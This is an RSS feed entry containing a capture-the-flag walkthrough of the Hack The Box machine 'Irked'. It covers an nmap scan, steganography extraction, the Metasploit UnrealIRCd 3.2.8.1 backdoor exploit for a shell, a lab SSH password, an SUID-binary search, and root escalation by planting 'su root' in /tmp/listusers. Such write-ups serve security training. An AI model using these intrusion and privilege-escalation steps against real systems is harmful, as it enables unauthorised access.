        </item>
        <item>
            <title><![CDATA[HTB Irked — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/htb-irked-walkthrough-f8b584634eee?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8b584634eee</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Sat, 27 Apr 2019 15:01:00 GMT</pubDate>
            <atom:updated>2019-05-20T13:45:27.868Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Irked — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*lbecrCuH13vGOmD0qUXScg.png" /></figure><h4>ENUMERATION</h4><p>So let’s start enumeration with nmap scan</p><pre>root@ArmourInfosec:~/ nmap -sV -p- 10.10.10.117<br>Nmap scan report for 10.10.10.117<br>Host is up (0.15s latency).</pre><pre>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)<br>80/tcp    open  http    Apache httpd 2.4.10 ((Debian))<br>111/tcp   open  rpcbind 2-4 (RPC #100000)<br>6697/tcp  open  irc     UnrealIRCd<br>8067/tcp  open  irc     UnrealIRCd<br>52816/tcp open  status  1 (RPC #100024)<br>65534/tcp open  irc     UnrealIRCd<br>Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>we found the port 80 open so lets have a visit there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7UR5XRcu1jq5MJ0NAahpQ.png" /></figure><p>we got nothing except an image and a line that “IRC is almost working”</p><p>it’s a hint that there is something in irc but the image also look suspicious so i downloaded it and tried various methods and noticed that when i used steghide and entered blank passphrase it shows something strange</p><pre>root@ArmourInfosec:~/ steghide extract -sf irked.jpg<br>Enter passphrase: <br>steghide: could not extract any data with that passphrase!</pre><p>OK now let’s look at another part that is IRC, I will use hexchat to join irc and see if it is authenticated or not, type hexchat in your terminal then click on add fill ip/port and click connect and yes it is not authenticated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HWTLPqzoiVAwWKnofoHMA.png" /></figure><p>A strange thing i noticed here is that the irc version is outdated Unrealircd3.2.8.1 so i searched it on google and found a metasploit exploit for it, I fired up my metasploit selected the exploit exploit/unix/irc/unreal_ircd_3281_backdoor fill all information needed and run the exploit</p><p>and we got the shell</p><p>so we go to /home/djmardov directory and inside Documents there are two files user.txt and .backup</p><p>we can’t open user.txt because we don’t have privileges so we open .backup</p><pre>cat .backup<br>UPupDOWNdownLRlrBAbaSSss</pre><p>OK so using that we can extract the pass.txt file from irked.jpg</p><p>let’s try to login user with this password</p><p><strong>djmardov:Kab6h+m+bbp2J:HG</strong></p><pre>ssh djmardov@10.10.10.117</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*tVoxXk3MDmJNxJA-RYiVNg.png" /></figure><p>now I simply read the user.txt file and started enumeration for privilege escalation</p><p>OK so i looked for binaries with the SUID or GUID bits set</p><pre>find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MYPirDWfFGxWk1zUSCStag.png" /></figure><p>and found that a binary /usr/bin/viewuser, when we run the binary it runs a command sh -c /tmp/listusers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*3_KLdROqYS9TUdyfDqIpjg.png" /></figure><p>so i manipulated the input and wrote su root in the listusers file at /tmp and then just run</p><pre>echo “su root”&gt; /tmp/listusers &amp;&amp; chmod 777 listusers</pre><pre>/usr/bin/viewuser</pre><p>and you will get root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*NRUIVIt_p1XD8bXJ-S-JPA.png" /></figure><p>What really happened???</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ju5aj2Oh6P-WBDGy6-nj_g.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8b584634eee" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>